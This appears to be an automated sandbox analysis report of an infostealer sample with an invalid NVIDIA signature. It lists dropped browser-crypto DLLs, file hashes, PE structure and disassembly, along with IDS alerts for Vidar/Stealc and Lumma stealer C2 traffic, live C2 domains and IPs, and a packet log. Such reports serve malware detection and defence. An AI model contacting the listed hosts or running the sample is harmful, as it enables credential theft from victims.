C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:3XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXH:3
MD5:	923946E60719A4CE93AD6C89A716B478
SHA1:	6687FA0016D997BA7635EE508453CF7DC709A627
SHA-256:	69AB9D59984ED804C93E1AB0646F6FA0CD4C5F5CCC7D2A80CD17549AFB789226
SHA-512:	BDDA0674E75695CF6AC2C11F557002855BEA5769975C14DC37139F3518DBBA0C88644B4AF1A8CD801B1E0AF82D5763028FFED704ABC8CEC533B3B4861C8F2356
Malicious:	false
Preview:	rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.468068553336475
Encrypted:	false
SSDEEP:	6144:UIXfpi67eLPU9skLmb0b4LWSPKaJG8nAgejZMMhA2gX4WABl0uN6dwBCswSby:pXD94LWlLZMM6YFHY+y
MD5:	152FAC22D1689A8F163113900136FC69
SHA1:	0903042105704A4AD4DE1EAA38DBF9EBA0DE0B99
SHA-256:	80B8AEAB37A4F22992A6B8334F51B99AC54090E7EACD9E9023BC333960FCC5F6
SHA-512:	C5E42AB2C739EDFA69AE4F18EB9325903D5C8441CDE4223BCA13AABBE9814A54D344ED5DD8BC81DD25BF14AFBAD7F555008A869BC49A47FC54A8EA12609709C0
Malicious:	false
Preview:	regf7...7....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..+H2...............................................................................................................................................................................................................................................................................................................................................6.=\|........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.767484196938175
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	572'968 bytes
MD5:	2ab4c1827edd0f4dc810cf0f9b3bd30d
SHA1:	a32347945672d6c1b7bd275f2d62b62d9749bebb
SHA256:	c7a9b126d27a142ad49c3b46591716348393efae2bf563df648701827bd7f80c
SHA512:	d77b67a0d760ec037c9d2993b4ae0604ee1476ca241eff2ddd3df744a2909f5ee8ac99f9a713fe083a8604d480bacaac2511960945ce67b18fa003d65663214a
SSDEEP:	12288:M99eIicBJZdNHYb9KZ6VmdS3WgprdJCf5DrRR0TnrPbEO:EDJrZYxLWgxO/RR0TDbt
TLSH:	14C40161B1D08031D97316330AF1CBB89E7EBD714BA25D9F67940B6E4F302C1EA2566A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$...`...`...`.......l...............u....R..r....R..t.......e...`...9....R.......Q..a....Qz.a....Q..a...Rich`...........PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x406f66
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FF9CCA [Fri Oct 4 07:44:10 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	69854c3157e3707e6096a5eb135f16aa

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/01/2023 00:00:00 16/01/2026 23:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
call 00007F9620B72406h
jmp 00007F9620B71AEFh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F9620B71C8Bh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F9620B71C7Ch
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F9620B71C7Eh
add edx, 28h
cmp edx, esi
jne 00007F9620B71C5Ch
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F9620B71C6Bh
push esi
call 00007F9620B72710h
test eax, eax
je 00007F9620B71C92h
mov eax, dword ptr fs:[00000018h]
mov esi, 00489AB0h
mov edx, dword ptr [eax+04h]
jmp 00007F9620B71C76h
cmp edx, eax
je 00007F9620B71C82h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007F9620B71C62h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007F9620B71C79h
mov byte ptr [00489AB4h], 00000001h
call 00007F9620B71F36h
call 00007F9620B74CA3h
test al, al
jne 00007F9620B71C76h
xor al, al
pop ebp
ret
call 00007F9620B7B7F3h
test al, al
jne 00007F9620B71C7Ch
push 00000000h
call 00007F9620B74CAAh
pop ecx
jmp 00007F9620B71C5Bh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [00489AB5h], 00000000h
je 00007F9620B71C76h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x26d30	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8b000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x89800	0x2628
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8c000	0x1ae8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x25078	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x24fb8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1e000	0x134	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1c6cc	0x1c800	797d9d49ea05d8903ad4fffe7d850739	False	0.5814059073464912	data	6.640356131922656	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1e000	0x9426	0x9600	bb2c407f26dbaf665cb845704b457f5f	False	0.386171875	data	4.653514810591722	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x28000	0x626c0	0x61800	b41a09717361496d2bb34d116699ad37	False	0.9919345953525641	DOS executable (block device driver \377\377\377\377)	7.993729330372772	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x8b000	0x1e0	0x200	f5eac9bb7a5931fe3c044829d9bd33dd	False	0.53125	data	4.7176788329467545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x8c000	0x1ae8	0x1c00	39eff7705cc37035695f2214a41626fd	False	0.7325613839285714	data	6.4425966132202435	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x8b060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

USER32.dll

CallWindowProcW

KERNEL32.dll

LoadLibraryExW, CreateFileW, GetConsoleWindow, MultiByteToWideChar, GetStringTypeW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, HeapSize, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, WriteConsoleW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapFree, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, HeapAlloc, GetFileType, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, GetFileSizeEx, SetFilePointerEx, ReadConsoleW, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetProcessHeap

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-04T09:52:23.562686+0200	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.4	49745	141.98.233.156	80	TCP
2024-10-04T09:52:24.544757+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	141.98.233.156	80	192.168.2.4	49745	TCP
2024-10-04T09:52:25.203617+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	141.98.233.156	80	192.168.2.4	49745	TCP
2024-10-04T09:52:42.309330+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	57015	147.45.44.104	80	TCP
2024-10-04T09:52:43.772027+0200	2056408	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (soldiefieop .site)	1	192.168.2.4	58481	1.1.1.1	53	UDP
2024-10-04T09:52:43.783252+0200	2056402	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (questionsmw .store)	1	192.168.2.4	53531	1.1.1.1	53	UDP
2024-10-04T09:52:43.795113+0200	2056392	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (abnomalrkmu .site)	1	192.168.2.4	52021	1.1.1.1	53	UDP
2024-10-04T09:52:43.807848+0200	2056396	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (chorusarorp .site)	1	192.168.2.4	60166	1.1.1.1	53	UDP
2024-10-04T09:52:43.817770+0200	2056410	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (treatynreit .site)	1	192.168.2.4	63998	1.1.1.1	53	UDP
2024-10-04T09:52:43.831606+0200	2056406	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (snarlypagowo .site)	1	192.168.2.4	63119	1.1.1.1	53	UDP
2024-10-04T09:52:43.846556+0200	2056400	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mysterisop .site)	1	192.168.2.4	54848	1.1.1.1	53	UDP
2024-10-04T09:52:43.854910+0200	2056394	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (absorptioniw .site)	1	192.168.2.4	63578	1.1.1.1	53	UDP
2024-10-04T09:52:46.124020+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	57019	104.21.93.202	443	TCP
2024-10-04T09:52:46.124020+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	57019	104.21.93.202	443	TCP
2024-10-04T09:53:17.041342+0200	2054495	ET MALWARE Vidar Stealer Form Exfil	1	192.168.2.4	57018	45.132.206.251	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2024 09:51:59.883974075 CEST	49675	443	192.168.2.4	173.222.162.32
Oct 4, 2024 09:52:21.398245096 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:21.403579950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:21.403675079 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:21.403889894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:21.410335064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:22.413996935 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:22.414103031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:22.417777061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:22.422797918 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:23.000011921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:23.000241041 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:23.002223969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:23.008603096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:23.562472105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:23.562500954 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:23.562685966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:23.650897980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:23.650984049 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:23.652148008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:23.657067060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:24.215953112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:24.215977907 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:24.215991974 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:24.216006994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:24.216022015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:24.216048002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:24.216044903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:24.216133118 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:24.216133118 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:24.544408083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:24.544534922 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:24.544756889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:24.544819117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:24.545953989 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:24.572012901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:25.120608091 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:25.120834112 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:25.197138071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:25.197138071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:25.203617096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:25.203663111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:25.203691006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:25.203716993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:25.203744888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:25.203769922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:25.203797102 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:25.970590115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:25.970702887 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:25.973143101 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:25.978494883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.157157898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.157197952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.157236099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.157263994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.157278061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.157303095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.157314062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.157321930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.157392025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.157428980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.158165932 CEST	80	49745	141.98.233.156	192.168.2.4
